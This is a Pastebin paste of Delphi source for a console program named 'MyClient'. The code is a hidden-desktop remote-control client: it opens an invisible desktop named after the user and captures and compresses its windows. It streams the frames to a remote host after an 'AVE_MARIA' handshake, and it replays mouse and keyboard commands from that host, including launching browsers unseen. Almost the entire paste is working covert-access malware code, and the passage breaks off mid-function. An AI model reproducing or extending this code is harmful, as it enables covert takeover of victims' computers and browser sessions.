Advertisement
Guest User

MyClient

a guest
Apr 24th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 24.37 KB | None | 0 0
  1. program MyClient;
  2.  
  3. {$APPTYPE CONSOLE}
  4. {$R *.res}
  5.  
  6. uses
  7.   Windows,
  8.   WinSock,
  9.   Messages,
  10.   ShellAPI,
  11.   ShFolder,
  12.   Registry,
  13.   SysUtils;
  14.  
  15. type
  16.   TEnumHwndsPrintData = record
  17.     _hDc: HDC;
  18.     hDcScreen: HDC;
  19.   end;
  20.  
  21.   PEnumHwndsPrintData = ^TEnumHwndsPrintData;
  22.  
  23. type
  24.   TFNWndEnumProc = function(_hwnd: HWND; _lParam: LPARAM): BOOL; stdcall;
  25.  
  26. type
  27.   Connection = (Desktop, _Input);
  28.  
  29. type
  30.   WmStartApp = (startExplorer = WM_USER + 1, startChrome, startFirefox,
  31.     startIexplore);
  32.  
  33. type
  34.   Input = (Mouse);
  35.  
  36. const
  37.   NTDLL = 'ntdll.dll';
  38.   vsEmpty = '';
  39.   SendBuf: array [0 .. 9] of AnsiChar = ('A', 'V', 'E', '_', 'M', 'A', 'R',
  40.     'I', 'A', #0);
  41.  
  42. var
  43.   _hDesk: HDESK;
  44.   bmi: TBitMapInfo;
  45.   _hInputThread, _hDesktopThread: THandle;
  46.   Pixels: PByte = nil;
  47.   oldPixels: PByte = nil;
  48.   tempPixels: PByte = nil;
  49.   DesktopName, _Host: string;
  50.   Started: Boolean = False;
  51.   _Port: Integer;
  52.   Loop: Boolean = True;
  53.  
  54. function RtlGetCompressionWorkSpaceSize(CompressionFormatAndEngine: ULONG;
  55.   CompressBufferWorkSpaceSize, CompressFragmentWorkSpaceSize: PULONG): Cardinal;
  56.   stdcall; external NTDLL name 'RtlGetCompressionWorkSpaceSize';
  57.  
  58. function RtlCompressBuffer(CompressionFormatAndEngine: ULONG;
  59.   UncompressedBuffer: Pointer; UncompressedBufferSize: ULONG;
  60.   CompressedBuffer: Pointer; CompressedBufferSize: ULONG;
  61.   UncompressedChunkSize: ULONG; FinalCompressedSize: PULONG; WorkSpace: Pointer)
  62.   : Cardinal; stdcall; external NTDLL name 'RtlCompressBuffer';
  63.  
  64. { ---------------------------- UTIL METHODS ------------------------------ }
  65. function mySplit(Input: string): TArray<string>;
  66. const
  67.   vDots = ':';
  68. var
  69.   delimiterSet: array [0 .. 0] of char;
  70. begin
  71.   delimiterSet[0] := vDots;
  72.   Result := Input.Split(delimiterSet);
  73. end;
  74.  
  75. function GetSpecialFolderPath(CSIDLFolder: Integer): string;
  76. var
  77.   FilePath: array [0 .. MAX_PATH] of char;
  78. begin
  79.   SHGetFolderPath(0, CSIDLFolder, 0, 0, FilePath);
  80.   Result := IncludeTrailingPathDelimiter(FilePath);
  81. end;
  82.  
  83. function xGetWindowsDiretory: string;
  84. var
  85.   PWindowsDir: array [0 .. 255] of char;
  86. begin
  87.   GetWindowsDirectory(PWindowsDir, 255);
  88.   Result := IncludeTrailingPathDelimiter(StrPas(PWindowsDir));
  89. end;
  90.  
  91. function xCreateProcess(appPath, currDir: string): Boolean;
  92. var
  93.   lStartUpInfo: TStartUpInfo;
  94.   lProcesso: TProcessInformation;
  95. begin
  96.   FillChar(lStartUpInfo, SizeOf(lStartUpInfo), #0);
  97.   FillChar(lProcesso, SizeOf(lProcesso), #0);
  98.  
  99.   with lStartUpInfo do
  100.   begin
  101.     cb := SizeOf(lStartUpInfo);
  102.     lpDesktop := PChar(DesktopName);
  103.     dwFlags := STARTF_USESHOWWINDOW;
  104.     wShowWindow := SW_SHOWNORMAL;
  105.   end;
  106.   Result := CreateProcess(nil, PChar(appPath), nil, nil, False, 0, nil,
  107.     PChar(currDir), lStartUpInfo, lProcesso);
  108. end;
  109.  
  110. function ReadDWORD(vKey, vName: String): DWORD;
  111. var
  112.   iType: DWORD;
  113.   iSize: DWORD;
  114.   iResult: array [0 .. 3] of Byte;
  115.   hkResult: HKEY;
  116. begin
  117.   Result := 0;
  118.   iType := REG_DWORD;
  119.   iSize := 4;
  120.   if RegOpenKeyEx(HKEY_CURRENT_USER, LPTSTR(vKey), 0, KEY_READ, hkResult) <> ERROR_SUCCESS
  121.   then
  122.     Exit;
  123.   if RegQueryValueEx(hkResult, LPTSTR(vName), nil, @iType, @iResult, @iSize) = ERROR_SUCCESS
  124.   then
  125.   begin
  126.     Result := iResult[0] + (iResult[1] shl 8) + (iResult[2] shl 16) +
  127.       (iResult[3] shl 24);
  128.   end;
  129.   RegCloseKey(hkResult);
  130. end;
  131.  
  132. function WriteDWORD(vKey, vName: String; iValue: DWORD): Boolean;
  133. var
  134.   iType: DWORD;
  135.   iSize: DWORD;
  136.   hkResult: HKEY;
  137.   ibValue: array [0 .. 3] of Byte;
  138. begin
  139.   Result := False;
  140.   if RegOpenKeyEx(HKEY_CURRENT_USER, LPTSTR(vKey), 0, KEY_WRITE, hkResult) <> ERROR_SUCCESS
  141.   then
  142.     Exit;
  143.   iType := REG_DWORD;
  144.   iSize := 4;
  145.   ibValue[0] := (iValue and $000000FF);
  146.   ibValue[1] := (iValue and $0000FF00) shr 8;
  147.   ibValue[2] := (iValue and $00FF0000) shr 16;
  148.   ibValue[3] := (iValue and $FF000000) shr 24;
  149.   if RegSetValueEx(hkResult, LPTSTR(vName), 0, iType, @ibValue[0], iSize) = ERROR_SUCCESS
  150.   then
  151.     Result := True;
  152.   RegCloseKey(hkResult);
  153. end;
  154.  
  155. function xGetClassName(_Handle: HWND): String;
  156. var
  157.   buffer: array [0 .. MAX_PATH] of char;
  158. begin
  159.   GetClassName(_Handle, @buffer, MAX_PATH);
  160.   Result := String(buffer);
  161. end;
  162.  
  163. function xGetUserName: String;
  164. const
  165.   UNKN = 'Unknown';
  166. var
  167.   User: PChar;
  168.   I: DWORD;
  169. begin
  170.   I := 1024;
  171.   User := StrAlloc(Succ(I));
  172.   if GetUserName(User, I) then
  173.     Result := StrPas(User)
  174.   else
  175.     Result := UNKN;
  176. end;
  177.  
  178. function GET_X_LPARAM(_lParam: LPARAM): Integer;
  179. begin
  180.   Result := Smallint(LoWord(_lParam));
  181. end;
  182.  
  183. function GET_Y_LPARAM(_lParam: LPARAM): Integer;
  184. begin
  185.   Result := Smallint(HiWord(_lParam));
  186. end;
  187.  
  188. function SendInt(S: TSocket; I: Integer): Integer;
  189. begin
  190.   Result := send(S, I, SizeOf(I), 0);
  191. end;
  192.  
  193. function GetPrevHwnd(var hWindow: HWND): HWND;
  194. begin
  195.   hWindow := GetWindow(hWindow, GW_HWNDPREV);
  196.   Result := hWindow;
  197. end;
  198. { ----------------------------------------------------------------------- }
  199.  
  200. function xPrintWindow(_hwnd: HWND; _hDc, hDcScreen: HDC): Boolean;
  201. const
  202.   {
  203.     #if(_WIN32_WINNT >= 0x0603)
  204.     #define PW_RENDERFULLCONTENT    0x00000002
  205.     #endif /* _WIN32_WINNT >= 0x0603 */
  206.   }
  207.   PW_RENDERFULLCONTENT = $00000002;
  208.   sPrintWindow = 'PrintWindow';
  209. var
  210.   PrintWindowAPI: function(sourceHandle: HWND; destinationHandle: HDC;
  211.     nFlags: UINT): BOOL; stdcall;
  212.   VersionInfo: TOSVersionInfo;
  213.   User32DLLHandle: THandle;
  214.   Ret, bPrint: Boolean;
  215.   R: TRect;
  216.   hDcWindow: HDC;
  217.   hBmpWindow: HBITMAP;
  218. begin
  219.   Ret := False;
  220.  
  221.   User32DLLHandle := GetModuleHandle(user32);
  222.   if User32DLLHandle <> 0 then
  223.   begin
  224.     @PrintWindowAPI := GetProcAddress(User32DLLHandle, sPrintWindow);
  225.  
  226.     if @PrintWindowAPI <> nil then
  227.     begin
  228.       GetWindowRect(_hwnd, R);
  229.  
  230.       hDcWindow := CreateCompatibleDC(_hDc);
  231.       hBmpWindow := CreateCompatibleBitmap(_hDc, R.Right - R.Left,
  232.         R.Bottom - R.Top);
  233.  
  234.       SelectObject(hDcWindow, hBmpWindow);
  235.  
  236.       VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
  237.       GetVersionEx(VersionInfo);
  238.  
  239.       if (VersionInfo.dwMajorVersion = 6) and (VersionInfo.dwMinorVersion >= 3)
  240.       then
  241.         bPrint := PrintWindowAPI(_hwnd, hDcWindow, PW_RENDERFULLCONTENT)
  242.       else
  243.         bPrint := PrintWindowAPI(_hwnd, hDcWindow, 0);
  244.  
  245.       if bPrint then
  246.       begin
  247.         BitBlt(hDcScreen, R.Left, R.Top, R.Right - R.Left, R.Bottom - R.Top,
  248.           hDcWindow, 0, 0, SRCCOPY);
  249.  
  250.         Ret := True;
  251.       end;
  252.       DeleteObject(hBmpWindow);
  253.       DeleteDC(hDcWindow);
  254.     end;
  255.   end;
  256.   Result := Ret;
  257. end;
  258.  
  259. procedure EnumWindowsTopToDown(Owner: HWND; Proc: TFNWndEnumProc;
  260.   _Param: LPARAM);
  261. var
  262.   CurrentWindow, _CurrentWindow: HWND;
  263. begin
  264.   repeat
  265.     CurrentWindow := GetTopWindow(Owner);
  266.     if CurrentWindow = 0 then
  267.       Exit;
  268.  
  269.     CurrentWindow := GetWindow(CurrentWindow, GW_HWNDLAST);
  270.     if CurrentWindow = 0 then
  271.       Exit;
  272.  
  273.     _CurrentWindow := GetPrevHwnd(CurrentWindow);
  274.  
  275.   until Proc(CurrentWindow, _Param) and (_CurrentWindow <> 0);
  276. end;
  277.  
  278. function EnumHwndsPrint(wHandle: HWND; _lParam: LPARAM): BOOL; stdcall;
  279. var
  280.   VersionInfo: TOSVersionInfo;
  281.   Data: PEnumHwndsPrintData;
  282.   Style: DWORD;
  283. begin
  284.   Result := True;
  285.  
  286.   if not IsWindowVisible(wHandle) then
  287.     Exit;
  288.  
  289.   Data := PEnumHwndsPrintData(_lParam);
  290.  
  291.   xPrintWindow(wHandle, Data._hDc, Data.hDcScreen);
  292.  
  293.   Style := GetWindowLong(wHandle, GWL_EXSTYLE);
  294.   SetWindowLong(wHandle, GWL_EXSTYLE, Style or WS_EX_COMPOSITED);
  295.  
  296.   VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
  297.   GetVersionEx(VersionInfo);
  298.  
  299.   if (VersionInfo.dwMajorVersion < 6) then
  300.     EnumWindowsTopToDown(wHandle, @EnumHwndsPrint, LPARAM(Data));
  301.  
  302.   Result := True;
  303. end;
  304.  
  305. function GetDeskPixels(serverWidth, serverHeight: Integer): Boolean;
  306. var
  307.   hWndDesktop: HWND;
  308.   Data: TEnumHwndsPrintData;
  309.   _hDcScreen, hDc_, hDcScreenResized: HDC;
  310.   hBmpScreen, hBmpScreenResized: HBITMAP;
  311.   cTrans: COLORREF;
  312.   comparePixels, Same: Boolean;
  313.   Rect: TRect;
  314.   I, J: Cardinal;
  315. begin
  316.   Result := False;
  317.   cTrans := RGB(255, 174, 201);
  318.   hWndDesktop := GetDesktopWindow;
  319.   GetWindowRect(hWndDesktop, Rect);
  320.  
  321.   hDc_ := GetDC(0);
  322.   _hDcScreen := CreateCompatibleDC(hDc_);
  323.   hBmpScreen := CreateCompatibleBitmap(hDc_, Rect.Right, Rect.Bottom);
  324.   SelectObject(_hDcScreen, hBmpScreen);
  325.  
  326.   with Data do
  327.   begin
  328.     _hDc := hDc_;
  329.     hDcScreen := _hDcScreen;
  330.   end;
  331.  
  332.   EnumWindowsTopToDown(0, @EnumHwndsPrint, LPARAM(@Data));
  333.  
  334.   if (serverWidth > Rect.Right) then
  335.     serverWidth := Rect.Right;
  336.   if (serverHeight > Rect.Bottom) then
  337.     serverHeight := Rect.Bottom;
  338.  
  339.   if (serverWidth <> Rect.Right) or (serverHeight <> Rect.Bottom) then
  340.   begin
  341.     hBmpScreenResized := CreateCompatibleBitmap(hDc_, serverWidth,
  342.       serverHeight);
  343.     hDcScreenResized := CreateCompatibleDC(hDc_);
  344.  
  345.     SelectObject(hDcScreenResized, hBmpScreenResized);
  346.  
  347.     SetStretchBltMode(hDcScreenResized, HALFTONE);
  348.     StretchBlt(hDcScreenResized, 0, 0, serverWidth, serverHeight, _hDcScreen, 0,
  349.       0, Rect.Right, Rect.Bottom, SRCCOPY);
  350.  
  351.     DeleteObject(hBmpScreen);
  352.     DeleteDC(_hDcScreen);
  353.  
  354.     hBmpScreen := hBmpScreenResized;
  355.     _hDcScreen := hDcScreenResized;
  356.   end;
  357.  
  358.   comparePixels := True;
  359.   bmi.bmiHeader.biSizeImage := serverWidth * 3 * serverHeight;
  360.  
  361.   if ((Pixels = nil) or ((bmi.bmiHeader.biWidth <> serverWidth) or
  362.     (bmi.bmiHeader.biHeight <> serverHeight))) then
  363.   begin
  364.     FreeMemory(Pixels);
  365.     FreeMemory(oldPixels);
  366.     FreeMemory(tempPixels);
  367.  
  368.     Pixels := AllocMem(bmi.bmiHeader.biSizeImage);
  369.     oldPixels := AllocMem(bmi.bmiHeader.biSizeImage);
  370.     tempPixels := AllocMem(bmi.bmiHeader.biSizeImage);
  371.  
  372.     comparePixels := False;
  373.   end;
  374.  
  375.   bmi.bmiHeader.biWidth := serverWidth;
  376.   bmi.bmiHeader.biHeight := serverHeight;
  377.  
  378.   GetDIBits(_hDcScreen, hBmpScreen, 0, serverHeight, Pixels, bmi,
  379.     DIB_RGB_COLORS);
  380.  
  381.   DeleteObject(hBmpScreen);
  382.   ReleaseDC(0, hDc_);
  383.   DeleteDC(_hDcScreen);
  384.  
  385.   if comparePixels then
  386.   begin
  387.     I := 0;
  388.     while I < bmi.bmiHeader.biSizeImage do
  389.     begin
  390.       if (Pixels[I] = GetRValue(cTrans)) and (Pixels[I + 1] = GetGValue(cTrans))
  391.         and (Pixels[I + 2] = GetBValue(cTrans)) then
  392.  
  393.         Inc(Pixels[I + 1]);
  394.  
  395.       Inc(I, 3);
  396.     end;
  397.  
  398.     CopyMemory(tempPixels, Pixels, bmi.bmiHeader.biSizeImage);
  399.  
  400.     Same := True;
  401.     J := 0;
  402.     while J < bmi.bmiHeader.biSizeImage - 1 do
  403.     begin
  404.       if (Pixels[J] = oldPixels[J]) and (Pixels[J + 1] = oldPixels[J + 1]) and
  405.         (Pixels[J + 2] = oldPixels[J + 2]) then
  406.       begin
  407.         Pixels[J] := GetRValue(cTrans);
  408.         Pixels[J + 1] := GetGValue(cTrans);
  409.         Pixels[J + 2] := GetBValue(cTrans);
  410.       end
  411.       else
  412.         Same := False;
  413.  
  414.       Inc(J, 3);
  415.     end;
  416.  
  417.     if Same then
  418.     begin
  419.       Result := True;
  420.       Exit;
  421.     end;
  422.  
  423.     CopyMemory(oldPixels, tempPixels, bmi.bmiHeader.biSizeImage);
  424.   end
  425.   else
  426.     CopyMemory(oldPixels, Pixels, bmi.bmiHeader.biSizeImage);
  427. end;
  428.  
  429. function ConnectServer: TSocket;
  430. var
  431.   Wsa: WSAData;
  432.   Client: sockaddr_in;
  433.   S: TSocket;
  434.   Rslt: Integer;
  435. begin
  436.   S := INVALID_SOCKET;
  437.   try
  438.     Rslt := WSAStartup(MakeWord(2, 2), Wsa);
  439.     if Rslt = NO_ERROR then
  440.     begin
  441.       S := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  442.       if S <> INVALID_SOCKET then
  443.       begin
  444.         Client.sin_family := AF_INET;
  445.         Client.sin_addr.s_addr := inet_addr(PAnsiChar(AnsiString(_Host)));
  446.         Client.sin_port := htons(_Port);
  447.         if connect(S, Client, SizeOf(Client)) <> SOCKET_ERROR then
  448.           Writeln('Connected successfully!');
  449.       end;
  450.     end;
  451.   except
  452.     Writeln(SysErrorMessage(GetLastError));
  453.   end;
  454.   Result := S;
  455. end;
  456.  
  457. function DesktopThread(P: Pointer): Integer;
  458. const
  459.   COMPRESSION_FORMAT_LZNT1 = $00000002;
  460. var
  461.   Sock: TSocket;
  462.   Rect: TRect;
  463.   hWndDesktop: HWND;
  464.   Same: Boolean;
  465.   WorkSpace: PByte;
  466.   workSpaceSize, fragmentWorkSpaceSize, Size, Response: Cardinal;
  467.   Width, Height: Integer;
  468. begin
  469.   Result := 0;
  470.   Sock := ConnectServer;
  471.  
  472.   if not SetThreadDesktop(_hDesk) then
  473.     TerminateThread(_hInputThread, 0);
  474.  
  475.   if send(Sock, SendBuf, SizeOf(SendBuf), 0) <= 0 then
  476.     TerminateThread(_hInputThread, 0);
  477.  
  478.   if SendInt(Sock, Ord(Connection.Desktop)) <= 0 then
  479.     TerminateThread(_hInputThread, 0);
  480.  
  481.   repeat
  482.     if recv(Sock, Width, SizeOf(Width), 0) <= 0 then
  483.       TerminateThread(_hInputThread, 0);
  484.  
  485.     if recv(Sock, Height, SizeOf(Height), 0) <= 0 then
  486.       TerminateThread(_hInputThread, 0);
  487.  
  488.     Same := GetDeskPixels(Width, Height);
  489.     if Same then
  490.     begin
  491.       if SendInt(Sock, 0) <= 0 then
  492.         TerminateThread(_hInputThread, 0);
  493.       continue;
  494.     end;
  495.  
  496.     if SendInt(Sock, 1) <= 0 then
  497.       TerminateThread(_hInputThread, 0);
  498.  
  499.     RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1, @workSpaceSize,
  500.       @fragmentWorkSpaceSize);
  501.  
  502.     WorkSpace := AllocMem(workSpaceSize);
  503.  
  504.     RtlCompressBuffer(COMPRESSION_FORMAT_LZNT1, Pixels,
  505.       bmi.bmiHeader.biSizeImage, tempPixels, bmi.bmiHeader.biSizeImage, 2048,
  506.       @Size, WorkSpace);
  507.  
  508.     FreeMemory(WorkSpace);
  509.  
  510.     hWndDesktop := GetDesktopWindow;
  511.     GetWindowRect(hWndDesktop, Rect);
  512.  
  513.     if SendInt(Sock, Rect.Right) <= 0 then
  514.       TerminateThread(_hInputThread, 0);
  515.  
  516.     if SendInt(Sock, Rect.Bottom) <= 0 then
  517.       TerminateThread(_hInputThread, 0);
  518.  
  519.     if SendInt(Sock, bmi.bmiHeader.biWidth) <= 0 then
  520.       TerminateThread(_hInputThread, 0);
  521.  
  522.     if SendInt(Sock, bmi.bmiHeader.biHeight) <= 0 then
  523.       TerminateThread(_hInputThread, 0);
  524.  
  525.     if SendInt(Sock, Size) <= 0 then
  526.       TerminateThread(_hInputThread, 0);
  527.  
  528.     if send(Sock, tempPixels^, Size, 0) <= 0 then
  529.       TerminateThread(_hInputThread, 0);
  530.  
  531.     if recv(Sock, Response, SizeOf(Response), 0) <= 0 then
  532.       TerminateThread(_hInputThread, 0);
  533.   until Loop = True;
  534. end;
  535.  
  536. function InputThread(P: Pointer): Integer;
  537. const
  538.   vKey = 'Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced';
  539.   vKeyName = 'TaskbarGlomLevel';
  540.   vExplorerExe = 'explorer.exe';
  541.   vIexplore = 'cmd.exe /c start iexplore.exe';
  542.   vChromeExe = 'Google\Chrome\Application\chrome.exe';
  543.   vFirefoxExe = 'Mozilla Firefox\firefox.exe';
  544.   vX86 = ' (x86)';
  545.   vClassButton = 'Button';
  546.   vClassMenu = '#32768';
  547.   vClassAppBar = 'Shell_TrayWnd';
  548.   vCmdStart = 'cmd.exe /c start ';
  549.   MN_SELECTITEM = $01E5;
  550.   MN_GETHMENU = $01E1;
  551. var
  552.   S: TSocket;
  553.   startButtonRect, R: TRect;
  554.   Resp, ThreadID, resMoveType, Msg, dwValue: Cardinal;
  555.   lastPoint, lastPointCopy, MousePoint: TPoint;
  556.   WindowPlacement: TWindowPlacement;
  557.   appbarData: TAppBarData;
  558.   hResMoveWindow, hWndWindow, hStartButton, currHwnd: HWND;
  559.   itemPos, itemId, MoveX, MoveY, X, Y, Width, Height, Rslt, I: Integer;
  560.   lmouseDown, mouseMsg, bCreateProcess: Boolean;
  561.   ExplorerExeFullPath, ChromeExeFullPath, MzllFirefoxFullPath: string;
  562.   _wParam: WPARAM;
  563.   _lParam: LPARAM;
  564.   _hMenu: HMENU;
  565. begin
  566.   Result := 0;
  567.   S := ConnectServer;
  568.  
  569.   if not SetThreadDesktop(_hDesk) then
  570.     Exit;
  571.  
  572.   if send(S, SendBuf, SizeOf(SendBuf), 0) <= 0 then
  573.     Exit;
  574.  
  575.   if SendInt(S, Ord(Connection._Input)) <= 0 then
  576.     Exit;
  577.  
  578.   if recv(S, Resp, SizeOf(Resp), 0) <= 0 then
  579.     Exit;
  580.  
  581.   _hDesktopThread := CreateThread(nil, 0, @DesktopThread, nil, 0, ThreadID);
  582.  
  583.   lmouseDown := False;
  584.   hWndWindow := 0;
  585.   hResMoveWindow := 0;
  586.   resMoveType := 0;
  587.  
  588.   lastPoint.X := 0;
  589.   lastPoint.Y := 0;
  590.  
  591.   repeat
  592.     if recv(S, Msg, SizeOf(Msg), 0) <= 0 then
  593.       TerminateThread(_hDesktopThread, 0);
  594.  
  595.     if recv(S, _wParam, SizeOf(_wParam), 0) <= 0 then
  596.       TerminateThread(_hDesktopThread, 0);
  597.  
  598.     if recv(S, _lParam, SizeOf(_lParam), 0) <= 0 then
  599.       TerminateThread(_hDesktopThread, 0);
  600.  
  601.     mouseMsg := False;
  602.  
  603.     case Msg of
  604.       Ord(WmStartApp.startExplorer):
  605.         begin
  606.           dwValue := ReadDWORD(vKey, vKeyName);
  607.           if dwValue <> 2 then
  608.             WriteDWORD(vKey, vKeyName, 2);
  609.  
  610.           ExplorerExeFullPath := Concat(xGetWindowsDiretory, vExplorerExe);
  611.  
  612.           bCreateProcess := xCreateProcess(ExplorerExeFullPath,
  613.             xGetWindowsDiretory);
  614.  
  615.           if bCreateProcess then
  616.           begin
  617.  
  618.             appbarData.cbSize := SizeOf(appbarData);
  619.  
  620.             I := 0;
  621.             while I < 5 do
  622.             begin
  623.               appbarData.HWND := FindWindow(vClassAppBar, nil);
  624.               if appbarData.HWND <> 0 then
  625.                 break;
  626.               Inc(I, 1);
  627.             end;
  628.  
  629.             appbarData.LPARAM := ABS_ALWAYSONTOP;
  630.             SHAppBarMessage(ABM_SETSTATE, appbarData);
  631.  
  632.             WriteDWORD(vKey, vKeyName, dwValue);
  633.           end
  634.           else
  635.             Writeln('explorer.exe: ' + SysErrorMessage(GetLastError));
  636.         end;
  637.       Ord(WmStartApp.startChrome):
  638.         begin
  639.           ChromeExeFullPath := Concat(GetSpecialFolderPath(CSIDL_PROGRAM_FILES),
  640.             vChromeExe);
  641.  
  642.           bCreateProcess := xCreateProcess(ChromeExeFullPath,
  643.             Copy(ChromeExeFullPath, Length(ChromeExeFullPath) -
  644.             Length(ChromeExeFullPath), Length(ChromeExeFullPath) - 10));
  645.  
  646.           if not bCreateProcess then
  647.             Writeln('chrome.exe: ' + SysErrorMessage(GetLastError));
  648.         end;
  649.       Ord(WmStartApp.startFirefox):
  650.         begin
  651.           MzllFirefoxFullPath :=
  652.             Concat(StringReplace(GetSpecialFolderPath(CSIDL_PROGRAM_FILES),
  653.             vX86, vsEmpty, [rfReplaceAll, rfIgnoreCase]), vFirefoxExe);
  654.  
  655.           bCreateProcess := xCreateProcess(MzllFirefoxFullPath,
  656.             Copy(MzllFirefoxFullPath, Length(MzllFirefoxFullPath) -
  657.             Length(MzllFirefoxFullPath), Length(MzllFirefoxFullPath) - 11));
  658.  
  659.           if not bCreateProcess then
  660.             Writeln('firefox.exe: ' + SysErrorMessage(GetLastError));
  661.         end;
  662.       Ord(WmStartApp.startIexplore):
  663.         begin
  664.           bCreateProcess := xCreateProcess(vIexplore, vsEmpty);
  665.  
  666.           if not bCreateProcess then
  667.             Writeln('iexplore.exe: ' + SysErrorMessage(GetLastError));
  668.         end;
  669.       WM_CHAR, WM_KEYDOWN, WM_KEYUP:
  670.         begin
  671.           MousePoint := lastPoint;
  672.           hWndWindow := WindowFromPoint(MousePoint);
  673.         end;
  674.     else
  675.       begin
  676.         mouseMsg := True;
  677.         MousePoint.X := GET_X_LPARAM(_lParam);
  678.         MousePoint.Y := GET_Y_LPARAM(_lParam);
  679.         lastPointCopy := lastPoint;
  680.         lastPoint := MousePoint;
  681.  
  682.         hWndWindow := WindowFromPoint(MousePoint);
  683.  
  684.         if Msg = WM_LBUTTONUP then
  685.         begin
  686.           lmouseDown := False;
  687.           Rslt := SendMessage(hWndWindow, WM_NCHITTEST, 0, _lParam);
  688.  
  689.           case Rslt of
  690.             HTTRANSPARENT:
  691.               begin
  692.                 SetWindowLong(hWndWindow, GWL_STYLE,
  693.                   GetWindowLong(hWndWindow, GWL_STYLE) or WS_DISABLED);
  694.                 Rslt := SendMessage(hWndWindow, WM_NCHITTEST, 0, _lParam);
  695.               end;
  696.             HTCLOSE:
  697.               PostMessage(hWndWindow, WM_CLOSE, 0, 0);
  698.             HTMINBUTTON:
  699.               PostMessage(hWndWindow, WM_SYSCOMMAND, SC_MINIMIZE, 0);
  700.             HTMAXBUTTON:
  701.               begin
  702.                 WindowPlacement.Length := SizeOf(WindowPlacement);
  703.                 if GetWindowPlacement(hWndWindow, @WindowPlacement) then
  704.                 begin
  705.                   if (WindowPlacement.flags and SW_SHOWMINIMIZED) <> 0 then
  706.                     PostMessage(hWndWindow, WM_SYSCOMMAND, SC_RESTORE, 0)
  707.                   else
  708.                     PostMessage(hWndWindow, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
  709.                 end;
  710.               end;
  711.           end;
  712.         end
  713.         else if Msg = WM_LBUTTONDOWN then
  714.         begin
  715.           lmouseDown := True;
  716.           hResMoveWindow := 0;
  717.  
  718.           hStartButton := FindWindow(vClassButton, nil);
  719.           GetWindowRect(hStartButton, startButtonRect);
  720.           if PtInRect(startButtonRect, MousePoint) then
  721.           begin
  722.             PostMessage(hStartButton, BM_CLICK, 0, 0);
  723.             continue;
  724.           end
  725.           else
  726.           begin
  727.             if CompareStr(xGetClassName(hWndWindow), vClassMenu) = 0 then
  728.             begin
  729.               _hMenu := SendMessage(hWndWindow, MN_GETHMENU, 0, 0);
  730.               itemPos := MenuItemFromPoint(0, _hMenu, MousePoint);
  731.               itemId := GetMenuItemID(_hMenu, itemPos);
  732.               PostMessage(hWndWindow, MN_SELECTITEM, itemPos, 0);
  733.               PostMessage(hWndWindow, WM_KEYDOWN, VK_RETURN, 0);
  734.               continue;
  735.             end;
  736.           end;
  737.         end
  738.         else if Msg = WM_MOUSEMOVE then
  739.         begin
  740.           if not lmouseDown then
  741.             continue;
  742.  
  743.           if hResMoveWindow = 0 then
  744.             resMoveType := SendMessage(hWndWindow, WM_NCHITTEST, 0, _lParam)
  745.           else
  746.             hWndWindow := hResMoveWindow;
  747.  
  748.           MoveX := lastPointCopy.X - MousePoint.X;
  749.           MoveY := lastPointCopy.Y - MousePoint.Y;
  750.  
  751.           GetWindowRect(hWndWindow, R);
  752.  
  753.           X := R.Left;
  754.           Y := R.Top;
  755.           Width := R.Right - R.Left;
  756.           Height := R.Bottom - R.Top;
  757.  
  758.           case resMoveType of
  759.             HTCAPTION:
  760.               begin
  761.                 X := X - MoveX;
  762.                 Y := Y - MoveY;
  763.               end;
  764.             HTTOP:
  765.               begin
  766.                 Y := Y - MoveY;
  767.                 Height := Height + MoveY;
  768.               end;
  769.             HTBOTTOM:
  770.               Height := Height - MoveY;
  771.             HTLEFT:
  772.               begin
  773.                 X := X - MoveX;
  774.                 Width := Width + MoveX;
  775.               end;
  776.             HTRIGHT:
  777.               Width := Width - MoveX;
  778.             HTTOPLEFT:
  779.               begin
  780.                 Y := Y - MoveY;
  781.                 Height := Height + MoveY;
  782.                 X := X - MoveX;
  783.                 Width := Width + MoveX;
  784.               end;
  785.             HTTOPRIGHT:
  786.               begin
  787.                 Y := Y - MoveY;
  788.                 Height := Height + MoveY;
  789.                 Width := Width - MoveX;
  790.               end;
  791.             HTBOTTOMLEFT:
  792.               begin
  793.                 Height := Height - MoveY;
  794.                 X := X - MoveX;
  795.                 Width := Width + MoveX;
  796.               end;
  797.             HTBOTTOMRIGHT:
  798.               begin
  799.                 Height := Height - MoveY;
  800.                 Width := Width - MoveX;
  801.               end;
  802.           else
  803.             continue;
  804.           end;
  805.           MoveWindow(hWndWindow, X, Y, Width, Height, False);
  806.           hResMoveWindow := hWndWindow;
  807.           continue;
  808.         end;
  809.       end;
  810.     end;
  811.  
  812.     while True do
  813.     begin
  814.       currHwnd := hWndWindow;
  815.       hWndWindow := currHwnd;
  816.       ScreenToClient(currHwnd, MousePoint);
  817.       currHwnd := ChildWindowFromPoint(currHwnd, MousePoint);
  818.  
  819.       if (currHwnd = 0) or (currHwnd = hWndWindow) then
  820.         break;
  821.     end;
  822.  
  823.     if mouseMsg then
  824.       _lParam := MakeLParam(MousePoint.X, MousePoint.Y);
  825.  
  826.     PostMessage(hWndWindow, Msg, _wParam, _lParam);
  827.   until Loop = True;
  828. end;
  829.  
  830. function MainThread(P: Pointer): Integer;
  831. var
  832.   tId: Cardinal;
  833. begin
  834.   Result := 0;
  835.  
  836.   FreeMemory(Pixels);
  837.   FreeMemory(oldPixels);
  838.   FreeMemory(tempPixels);
  839.  
  840.   if _hInputThread <> 0 then
  841.     TerminateThread(_hInputThread, 0);
  842.  
  843.   if _hDesktopThread <> 0 then
  844.     TerminateThread(_hDesktopThread, 0);
  845.  
  846.   CloseHandle(_hInputThread);
  847.   CloseHandle(_hDesktopThread);
  848.  
  849.   Pixels := nil;
  850.   oldPixels := nil;
  851.   tempPixels := nil;
  852.  
  853.   FillMemory(@bmi, SizeOf(bmi), 0);
  854.  
  855.   bmi.bmiHeader.biSize := SizeOf(bmi.bmiHeader);
  856.   bmi.bmiHeader.biPlanes := 1;
  857.   bmi.bmiHeader.biBitCount := 24;
  858.   bmi.bmiHeader.biCompression := BI_RGB;
  859.   bmi.bmiHeader.biClrUsed := 0;
  860.  
  861.   DesktopName := xGetUserName;
  862.  
  863.   _hDesk := OpenDesktop(PChar(DesktopName), 0, True, GENERIC_ALL);
  864.  
  865.   if _hDesk = 0 then
